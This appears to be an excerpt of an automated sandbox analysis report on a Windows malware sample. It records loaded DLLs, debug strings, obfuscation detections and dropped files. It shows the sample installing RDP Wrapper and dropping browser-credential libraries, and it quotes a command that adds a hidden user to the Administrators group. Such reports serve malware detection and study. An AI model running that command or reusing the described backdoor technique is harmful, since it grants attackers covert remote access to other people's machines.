Source: C:\Windows\System32\netsh.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: samlib.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: samlib.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: samlib.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: samlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe File written: C:\Program Files\RDP Wrapper\rdpwrap.ini
Source: C:\ProgramData\BKJKEBGDHD.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Directory created: C:\Program Files\RDP Wrapper
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Directory created: C:\Program Files\RDP Wrapper\rdpwrap.ini
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Directory created: C:\Program Files\RDP Wrapper\rdpwrap.dll
Source: file.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: file.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: file.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2981509228.000000006C58D000.00000002.00000001.01000000.00000009.sdmp
Source: Binary string: freebl3.pdb source: RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: freebl3.pdbp source: RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2987077823.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.3.dr
Source: Binary string: c:\rje\tg\vlt\obj\Release\ojc.pdb source: 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr
Source: Binary string: <>c__DisplayClass0_0<GenerateRandomPassword>b__0<>u__1IEnumerable`1Task`1TaskAwaiter`10xb11a1<>u__2Func`2Dictionary`2<Main>d__5get_UTF8<Module><Main>Q2xpZW50QUFBUkRQSW5zdGFsbGVyQUFBUHJvZ3JhbUFBQXNzZW1ibHlMb2FkZXJBUkRQQ3JlYXRvcl9Qcm9jZXNzZWRCeUZvZHlBSystem.IOGetPublicIP_Costuracostura.metadatamscorlibSystem.Collections.GenericDiscoverDeviceAsyncDownloadFileTaskAsyncCreatePortMapAsyncReadLoadAddisAttachedInterlockedcostura.costura.pdb.compressedcostura.costura.dll.compressedcostura.system.diagnostics.diagnosticsource.dll.compressedcostura.open.nat.dll.compressedget_ConnectedAwaitUnsafeOnCompletedget_IsCompletedSystem.Collections.SpecializedNewGuidReadToEndExecuteCommandcommandGenerateRandomPasswordpasswordNatDeviceCancellationTokenSourcesourceset_ModePaddingModeCompressionModeCipherModeRangeExchangenullCacheEnumerableIDisposableget_AsyncWaitHandleDownloadFileget_NamefullNameGetAdminGroupNameGetNamerequestedAssemblyNameusernameWaitOneCombineIAsyncStateMachineSetStateMachinestateMachineValueTypeSystem.CorecultureDisposeCreate<>1__stateWriteCompilerGeneratedAttributeDebuggableAttributeAsyncStateMachineAttributeTargetFrameworkAttributeDebuggerHiddenAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeset_UseShellExecuteByteTryGetValueadd_AssemblyResolveRDPCreator.exeSystem.Threadingset_PaddingEncodingSystem.Runtime.VersioningMappingFromBase64StringDownloadStringCultureToStringGetStringSubstringAttachComputeHashzipPathGetTempPathpathget_LengthlengthEndsWithUriAsyncCallbacknullCacheLockTransformFinalBlockget_TaskProtocolzipUrlserverUrlurlReadStreamLoadStreamGetManifestResourceStreamDeflateStreamMemoryStreamstreamset_ItemSystemSymmetricAlgorithmHashAlgorithmRandomrandomICryptoTransformTimeSpanIsPortOpenRDPCreator.cMainAppDomainget_CurrentDomainFodyVersionSystem.IO.CompressiondestinationSystem.GlobalizationSystem.ReflectionNameValueCollectionset_PositionSetExceptionStringComparisonusernamePatternpatternCopyToget_CultureInfoProcessStartInfoAddUserToAdminGroupSystem.LinqClearStreamReaderTextReaderMD5CryptoServiceProviderTripleDESCryptoServiceProviderAsyncTaskMethodBuilder<>t__buildersenderResolveEventHandlerPortMapperInstallRDPWrapperNatDiscovererCheckForRDPUserCreateAdminUserTaskAwaiterGetAwaiterEnterRDPCreator.ctor.cctorMonitorCreateDecryptorSystem.DiagnosticsFromMillisecondsSystem.Runtime.CompilerServicesReadFromEmbeddedResourcesDebuggingModesGetAssembliesresourceNamessymbolNamesassemblyNamesGetBytesUploadValuesget_FlagsAssemblyNameFlagsResolveEventArgsargsSystem.Threading.TasksSendCredentialsEqualsContainsget_CharsProcessSystem.Net.SocketsExistsOpen.NatConcatObjectSelectBeginConnectSystem.NetWaitForExitIAsyncResultGetResultSetResultToLowerInvariantWebClientTcpClientEnvironmentStartConvertRDPPortportget_StandardOutputset_RedirectStandardOutputExecuteCommandWithOutputMoveNextSystem.Textset_CreateNoWindowToArrayset_KeyContainsKeySystem.Security.CryptographyResolveAssemblyReadExistingAssemblyGetExecutingAssemblyIsNullOrEmptygVexuh5UIe2gYxGhNy
Source: Binary string: rdpclip.pdbH source: RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: costura.costura.pdb.compressedlB source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: c:\rje\tg\vea6\obj\Release\ojc.pdb source: file.exe
Source: Binary string: costura.costura.pdb.compressed source: BKJKEBGDHD.exe, 0000000F.00000000.2789350400.0000000000AD2000.00000002.00000001.01000000.0000000C.sdmp, 66f5de72d9ebd_rdp[1].exe.3.dr
Source: Binary string: rdpclip.pdbJ source: RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: RfxVmt.pdb source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.2943594444.0000000038886000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.2920076406.000000002C9A6000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source: Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2987077823.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.3.dr
Source: Binary string: rdpclip.pdb source: RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2981509228.000000006C58D000.00000002.00000001.01000000.00000009.sdmp
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.2893376211.0000000020568000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3305375474.000000002050B000.00000002.00001000.00020000.00000000.sdmp
Source: Binary string: RfxVmt.pdbGCTL source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: c:\rje\tg\ps7uj1z\obj\Release\ojc.pdb source: GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr
Source: Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: costura.costura.pdb.compressed|||Costura.pdb|6C6000A5EAF8579850AB82A89BD6268776EB51AD|2608 source: BKJKEBGDHD.exe, 0000000F.00000000.2789350400.0000000000AD2000.00000002.00000001.01000000.0000000C.sdmp, 66f5de72d9ebd_rdp[1].exe.3.dr

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: BKJKEBGDHD.exe.3.dr, QXNzZW1ibHlMb2FkZXJB.cs .Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])
Source: 66f5de72d9ebd_rdp[1].exe.3.dr, QXNzZW1ibHlMb2FkZXJB.cs .Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])
Yara detected Costura Assembly Loader
Source: Yara match File source: 15.0.BKJKEBGDHD.exe.ad0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000F.00000000.2789350400.0000000000AD2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.3052610087.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: BKJKEBGDHD.exe PID: 6240, type: MEMORYSTR
Source: Yara match File source: C:\ProgramData\BKJKEBGDHD.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66f5de72d9ebd_rdp[1].exe, type: DROPPED
Binary contains a suspicious time stamp
Source: BKJKEBGDHD.exe.3.dr Static PE information: 0xA040A332 [Sat Mar 13 22:44:02 2055 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00418950 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_00418950
PE file contains sections with non-standard names
Source: freebl3.dll.3.dr Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr Static PE information: section name: .didat
Source: softokn3.dll.3.dr Static PE information: section name: .00cfg
Source: nss3.dll.3.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042F142 push ecx; ret 3_2_0042F155
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00422D3B push esi; ret 3_2_00422D3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041DDB5 push ecx; ret 3_2_0041DDC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00432715 push 0000004Ch; iretd 3_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C54B536 push ecx; ret 3_2_6C54B549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0044F116 push esi; retf 11_2_0044F117
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00438B7E push cs; iretd 11_2_00438B85
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20443C51 push es; retf 14_2_20443C57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204BF456 push ebx; ret 14_2_204BF457
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204AD568 push esp; retf 14_2_204AD570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_204ADB66 push esp; retf 14_2_204ADB67
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203129DE push edi; retn 0000h 14_2_203129E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20474BF0 push ecx; ret 14_2_20474C03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2047A45D push esi; ret 14_2_2047A45F
Source: file.exe Static PE information: section name: .text entropy: 7.996079292022533
Source: BGDGHJEHJJ.exe.3.dr Static PE information: section name: .text entropy: 7.995375019999394
Source: 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr Static PE information: section name: .text entropy: 7.995375019999394
Source: GIJEGDAKEH.exe.3.dr Static PE information: section name: .text entropy: 7.9958244524809645
Source: 66f5db9e54794_vfkagks[1].exe.3.dr Static PE information: section name: .text entropy: 7.9958244524809645
Source: BKJKEBGDHD.exe.3.dr Static PE information: section name: .text entropy: 7.776360681632585
Source: 66f5de72d9ebd_rdp[1].exe.3.dr Static PE information: section name: .text entropy: 7.776360681632585

Persistence and Installation Behavior
barindex
Adds a new user with administrator rights
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_7fdfafe0 /add
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_7fdfafe0 /add
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66f5db9e54794_vfkagks[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe File created: C:\Program Files\RDP Wrapper\rdpwrap.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\GIJEGDAKEH.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe File created: C:\Windows\System32\rfxvmt.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\BKJKEBGDHD.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66f5de72d9ebd_rdp[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\BGDGHJEHJJ.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
